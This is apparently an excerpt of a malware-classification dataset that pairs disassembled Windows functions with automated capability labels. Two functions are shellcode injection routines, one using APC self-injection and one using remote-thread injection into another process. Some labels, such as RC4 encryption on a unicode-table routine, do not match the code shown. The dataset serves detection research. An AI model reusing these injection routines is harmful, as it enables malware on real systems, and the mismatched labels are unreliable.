joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400349e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [0x140055798]
mov r10, rcx
mov r9, qword [rcx + 0x188]
movsxd rax, edx
imul rbx, rax, 0x70
add rbx, qword [rcx + 0x18]
mov dword [rcx + 0x74], edx
test dword [rbx], 0x10000
movss xmm2, dword [rbx + 0x34]
je 0x140034a23
addss xmm2, dword [rcx + 0x90]
movaps xmm0, xmm2
lea rsi, [r9 + 0x110]
subss xmm0, dword [r9 + 0x28]
movss dword [rsi], xmm2
movss xmm1, dword [rcx + 0x88]
addss xmm1, dword [rcx + 0x7c]
movss dword [r9 + 0x128], xmm2
subss xmm0, dword [r9 + 0x154]
movss dword [r9 + 0x118], xmm2
movss dword [r9 + 0x114], xmm1
movss dword [r9 + 0x158], xmm0
mov eax, dword [rcx + 0x8c]
mov dword [r9 + 0x148], eax
movsx eax, byte [rbx + 0x6a]
mov dword [r9 + 0x168], eax
movss dword [r9 + 0x22c], xmm1
mov eax, dword [rbx + 0x34]
mov dword [r9 + 0x228], eax
mov eax, dword [rbx + 0x38]
mov dword [r9 + 0x230], eax
mov eax, dword [rbx + 0x3c]
mov dword [r9 + 0x1cc], eax
movzx eax, byte [rbx + 0x68]
mov byte [r9 + 0xc3], al
cmp byte [rbx + 0x68], 0
je 0x140034acf
xor eax, eax
mov dword [rdi + 0x4998], eax
mov dword [rdi + 0x49a0], eax
test dword [rcx + 4], 0x100000
je 0x140034ae3
mov r8d, 2
jmp 0x140034b63
movups xmm0, xmmword [rbx + 0x20]
mov rax, qword [r9 + 0x2a8]
movss xmm4, dword [rbx + 0x20]
movss xmm3, dword [rbx + 0x24]
movss xmm2, dword [rbx + 0x28]
movss xmm1, dword [rbx + 0x2c]
movups xmmword [r9 + 0x248], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd rdx, dword [rax + 0x58]
mov rcx, qword [rax + 0x60]
add rdx, rdx
movups xmmword [rcx + rdx*8 - 0x10], xmm0
movzx r8d, word [rbx + 0x5c]
mov rdx, qword [r9 + 0x2a8]
mov rcx, qword [r10 + 0x1a0]
call fcn.140028920
cmp byte [rdi + 0x5fc8], 0
je 0x140034ba1
cmp byte [rbx + 0x68], 0
jne 0x140034ba1
xor r8d, r8d
lea rdx, [0x14004cb84]
mov rcx, rsi
call fcn.140019a20
mov dword [rdi + 0x5ff8], 0x7f7fffff
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140034ff0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140055798]
mov rcx, qword [rax + 0x4de8]
mov r9, qword [rax + 0x4008]
movups xmm0, xmmword [r9 + 0x248]
movups xmmword [rcx + 0x170], xmm0
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rcx + 0x150]
movss xmm4, dword [rcx + 0x150]
movss xmm3, dword [rcx + 0x154]
movss xmm2, dword [rcx + 0x158]
movss xmm1, dword [rcx + 0x15c]
movups xmmword [r9 + 0x248], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [rcx + 0x232]
mov rcx, qword [rcx + 0x1a0]
mov rdx, qword [r9 + 0x2a8]
add rsp, 0x38
jmp fcn.140028920

Function at 0x1400350d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140055798]
mov rcx, qword [rax + 0x4de8]
mov r10, qword [rax + 0x4008]
movsxd rax, dword [rcx + 0x74]
movups xmm0, xmmword [rcx + 0x170]
movss xmm4, dword [rcx + 0x170]
movss xmm3, dword [rcx + 0x174]
movss xmm2, dword [rcx + 0x178]
movss xmm1, dword [rcx + 0x17c]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x70
mov rax, qword [r10 + 0x2a8]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x248], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [r9 + 0x5c]
mov rdx, qword [r10 + 0x2a8]
mov rcx, qword [rcx + 0x1a0]
add rsp, 0x38
jmp fcn.140028920
Function at 0x140042b60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp rcx, rdx
je 0x140042cf9
mov r11, rsp
push rdi
sub rsp, 0xb0
mov rax, qword [0x140055040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov qword [r11 + 0x18], rbx
mov rdi, rdx
mov qword [r11 + 0x20], rsi
lea rbx, [rcx + 0x18]
xor esi, esi
nop word [rax + rax]
add rdi, 0xffffffffffffff80
lea rcx, [rbx - 0x18]
cmp rcx, rdi
je 0x140042cd1
movups xmm0, xmmword [rcx + 0x10]
mov rdx, rdi
movups xmm1, xmmword [rcx]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm1
mov qword [rbx - 8], rsi
mov qword [rbx], 0xf
mov byte [rcx], sil
mov rax, qword [rbx + 8]
movss xmm0, dword [rbx + 0x20]
mov qword [rsp + 0x40], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x48], rax
mov eax, dword [rbx + 0x18]
mov dword [rsp + 0x50], eax
mov eax, dword [rbx + 0x1c]
mov dword [rsp + 0x54], eax
mov eax, dword [rbx + 0x24]
mov dword [rsp + 0x5c], eax
mov eax, dword [rbx + 0x28]
movss dword [rsp + 0x58], xmm0
movsd xmm0, qword [rbx + 0x30]
mov dword [rsp + 0x60], eax
mov eax, dword [rbx + 0x2c]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [rbx + 0x3c]
mov dword [rsp + 0x64], eax
mov eax, dword [rbx + 0x38]
movsd qword [rsp + 0x74], xmm0
movsd xmm0, qword [rbx + 0x48]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x44]
movsd qword [rsp + 0x80], xmm0
movsd xmm0, qword [rbx + 0x54]
mov dword [rsp + 0x7c], eax
mov eax, dword [rbx + 0x50]
movsd qword [rsp + 0x8c], xmm0
movss xmm0, dword [rbx + 0x60]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x5c]
mov dword [rsp + 0x94], eax
movss dword [rsp + 0x98], xmm0
call fcn.140041320
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140041320
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140042cc0
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042cbb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042cfa
call fcn.14004356c
sub rbx, 0xffffffffffffff80
lea rax, [rbx - 0x18]
cmp rax, rdi
jne 0x140042ba0
mov rbx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400433d0
add rsp, 0xb0
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x140043e04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140043e4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140043e4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140043e4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140043e4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140043e4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140043e50
xor al, al
add rsp, 0x28
ret
Function at 0x140009d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inject apc

Disassembly:
push rbp
sub rsp, 0x350
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2c8], 0xfffffffffffffffe
lea rdx, str.lacleNestpasla_fucklavie__hahahaceluila_vapasser897968
mov qword [rbp - 8], rdx
lea rax, [0x14003c8d0]
mov qword [rbp - 0x28], rax
mov qword [rbp], rax
lea rax, [0x14003c8e6]
mov qword [rbp - 0x30], rax
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x20], rcx
call fcn.14000d600
mov rcx, qword [rbp - 0x30]
lea rdx, [0x140055ef8]
call fcn.140002320
mov r8, qword [rbp - 0x28]
mov rcx, rax
mov r9, rdx
mov rdx, qword [rbp - 0x20]
mov rax, rsp
mov qword [rax + 0x28], r9
mov qword [rax + 0x20], rcx
lea rcx, [rbp + 0x1f8]
mov qword [rbp - 0x18], rcx
mov r9d, 0x16
call fcn.14000d740
mov rcx, qword [rbp - 0x18]
mov qword [rbp + 0x2a8], 0
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2c0], 0
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x210], rax
call fcn.14000c880
mov qword [rbp - 0x10], rax
jmp 0x140009e1c
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x218], rax
mov rax, rsp
mov dword [rax + 0x28], 4
mov dword [rax + 0x20], 0x3000
mov rax, qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
xor ecx, ecx
mov r8d, ecx
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 0x210]
lea r9, [rbp + 0x218]
call rax
jmp 0x140009e5d
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x1f8]
call fcn.14000a400
mov qword [rbp - 0x38], rax
jmp 0x140009e7a
lea rcx, [rbp + 0x1f8]
call fcn.14000c880
mov qword [rbp - 0x48], rax
jmp 0x140009e8c
mov r9, qword [rbp - 0x48]
mov r8, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
mov qword [rbp + 0x260], 0
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x258], rax
mov rcx, qword [rbp + 0x258]
mov rax, rsp
mov qword [rax + 0x20], rcx
mov rax, qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov rcx, 0xffffffffffffffff
call rax
jmp 0x140009ee7
mov dword [rbp + 0x224], 4
mov rax, rsp
lea rcx, [rbp + 0x224]
mov qword [rax + 0x20], rcx
mov rax, qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 0x210]
lea r8, [rbp + 0x218]
mov r9d, 0x40
call rax
jmp 0x140009f25
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x228], rax
mov r8, qword [rbp + 0x210]
mov qword [rbp + 0x288], 0
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x2a0], 0
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x298], rax
mov r9, qword [rbp + 0x298]
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x270], 0
mov qword [rbp + 0x280], 0
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x228]
mov rax, rsp
mov qword [rax + 0x20], rcx
mov rax, qword [sym.imp.ntdll.dll_NtQueueApcThread]
mov rcx, 0xfffffffffffffffe
call rax
jmp 0x140009fc6
lea rcx, [rbp + 0x230]
call fcn.140008100
jmp 0x140009fd4
lea rcx, [rbp + 0x230]
call fcn.140003e30
jmp 0x140009fe2
mov rax, qword [sym.imp.ntdll.dll_NtTestAlert]
call rax
jmp 0x140009fed
lea rcx, [rbp + 0x1f8]
call fcn.14000c180
nop
add rsp, 0x350
pop rbp
ret
Function at 0x14001a980
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x14001aa20
jmp 0x14001aa0f
jae 0x14001aae0
cmp r8, 0x201
jae 0x14001aa20
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x14001aa78
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x14001aa4f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.14003a9c0
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x14001aaa1
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001ab48
mov r8d, r14d
cmp r15, r8
jne 0x14001aa00
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001ab75
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14001aa0f
jmp 0x14001aa20
cmp rsi, r8
jb 0x14001ab8f
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.14001c5b0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x14001ab31
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.14000b910
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x14001ab19
jmp 0x14001ab31
lea rcx, str.internal_error:_entered_unreachable_codeX
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14003b370
jmp 0x14001aba4
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14003b7c0
ud2
Function at 0x14001f6a0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
call fcn.140039f10
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov qword [rbp + 0x1008], rdx
mov r12, rcx
lea r13, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, r13
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xfe8]
xorps xmm6, xmm6
lea rbx, [rbp + 0xffc]
lea rsi, [0x140024f90]
lea r15, [rbp + 0xfb0]
mov r14, qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov rdi, qword [sym.imp.KERNEL32.dll_SleepEx]
mov qword [rbp + 0x1010], r12
mov r9d, 0x1000
mov rdx, r12
mov r8, r13
call fcn.140024d30
cmp qword [rbp + 0xfe8], 0
jne 0x14001f877
mov r12, qword [rbp + 0xff0]
test r12, r12
je 0x14001f843
cmp r12, 0x1000
ja 0x14001f899
xor r13d, r13d
nop word cs:[rax + rax]
mov r8d, r12d
sub r8d, r13d
lea rdx, [r13 - 0x50]
add rdx, rbp
mov dword [rbp + 0xffc], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], rbx
mov qword [rsp + 0x20], rsi
mov rcx, qword [rbp + 0x1008]
mov r9, r15
call r14
test eax, eax
je 0x14001f817
nop word [rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call rdi
cmp dword [rbp + 0xffc], 0
je 0x14001f7c0
movsxd rax, dword [rbp + 0x1000]
test rax, rax
jne 0x14001f81d
mov eax, dword [rbp + 0x1004]
add r13, rax
cmp r13, r12
je 0x14001f800
jbe 0x14001f770
jmp 0x14001f885
mov r12, qword [rbp + 0x1010]
lea r13, [rbp - 0x50]
lea rcx, [rbp + 0xfe8]
jmp 0x14001f725
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 0xfd8], 1
lea rcx, [rbp + 0xfe0]
call fcn.140014e30
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1010]
call rsi
mov rcx, qword [rbp + 0x1008]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xff0]
call fcn.140014e30
jmp 0x14001f843
lea r8, str.library_std_src_syswindowspipe.rs
mov rcx, r13
mov rdx, r12
call fcn.14003b840
jmp 0x14001f8ad
lea r8, str.library_std_src_syswindowspipe.rs
mov edx, 0x1000
mov rcx, r12
call fcn.14003b7c0
ud2
Function at 0x140022810
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14005c638]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140022854
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400228ba
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400228f1
test eax, eax
js 0x1400228cb
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400228e4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14001c380
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.1400153b0
mov ecx, 7
int 0x29
ud2
Function at 0x14002aa00
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14002aa43
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x14001b550]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14003b2a0
ud2

Function at 0x14002b0b0
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
invalid
Function at 0x140038c60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140038cda
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140038cd0
cmp r11, r10
ja 0x140038d71
cmp r10, rdx
ja 0x140038d83
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140038cd2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140038cb0
jmp 0x140038d47
ja 0x140038cda
mov r11, r10
cmp rax, r8
jne 0x140038c82
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140038d4b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140038d20
mov r8, r10
sub ecx, r9d
jns 0x140038d3e
jmp 0x140038d4d
cmp r10, rdx
je 0x140038d59
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140038d4d
xor al, 1
cmp r8, rdx
jne 0x140038d00
jmp 0x140038d4d
xor eax, eax
jmp 0x140038d4d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x14005f1eb]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14003b370
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14003b840
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14003b7c0
int3

Function at 0x14003a42c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003a476
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003a476
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003a476
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003a476
cmp dword [rcx + 0x84], 0xe
jbe 0x14003a476
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003a478
xor al, al
add rsp, 0x28
ret
Function at 0x4015ca
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
cmp dword [rbp + 0x10], 0
jne 0x4015e5
mov ecx, 0
call sub.msvcrt.dll_exit
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401611
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x47e5a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x40164f
mov ecx, 0
call sub.msvcrt.dll_exit
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0x23f2d
lea r8, [0x00403020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x401687
mov ecx, 0
call sub.msvcrt.dll_exit
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x50
pop rbp
ret

Function at 0x4019b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402780
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402780
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]